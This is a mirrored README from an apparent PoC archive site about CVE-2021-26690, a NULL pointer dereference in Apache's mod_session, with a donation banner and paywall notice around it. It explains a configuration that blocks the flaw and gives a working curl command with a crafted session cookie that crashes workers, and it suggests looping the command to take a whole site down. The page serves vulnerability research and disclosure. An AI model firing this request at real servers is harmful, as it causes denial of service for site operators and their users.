Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2021-26690 PoC — mod_session NULL pointer dereference

Source
Associated Vulnerability
Title: mod_session NULL pointer dereference (CVE-2021-26690)
Description:Apache HTTP Server versions 2.4.0 to 2.4.46 A specially crafted Cookie header handled by mod_session can cause a NULL pointer dereference and crash, leading to a possible Denial Of Service
Description
CVE-2021-26690 patch diffing - Apache HTTP mod_session NULL pointer dereference
Readme
# Patch diffing for CVE-2021-26690 - Apache mod_session
This vulnerability is a NULL pointer dereference within the mod_session Apache's module.
It will cause a denial of service for the child processes of Apache's httpd.
By using a repetitive loop, each Apache workers will crash, leading to a denial of service for all clients that connect to or are connected to the website.

This vulnerability was initially discovered by @antonio-morales.

> For the full stages of the process, refer to the PDF in this repository.

# Limitation
If the server implements the SessionCryptoPassphrase option via `mod_session_crypto` the cookie will be encrypted and base64 encoded.
```
<IfModule mod_session.c>
Session On
SessionCookieName session path=/
SessionCryptoPassphrase "YourSecurePassphrase"
SessionMaxAge 1800
</IfModule>
```

In this case, the session cookie pairs cannot be tampered, and the denial of service cannot occur as is.

# Exploit

```bash
curl http://$IP:$PORT/ -v -b 'session=expiry=123456789&='
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →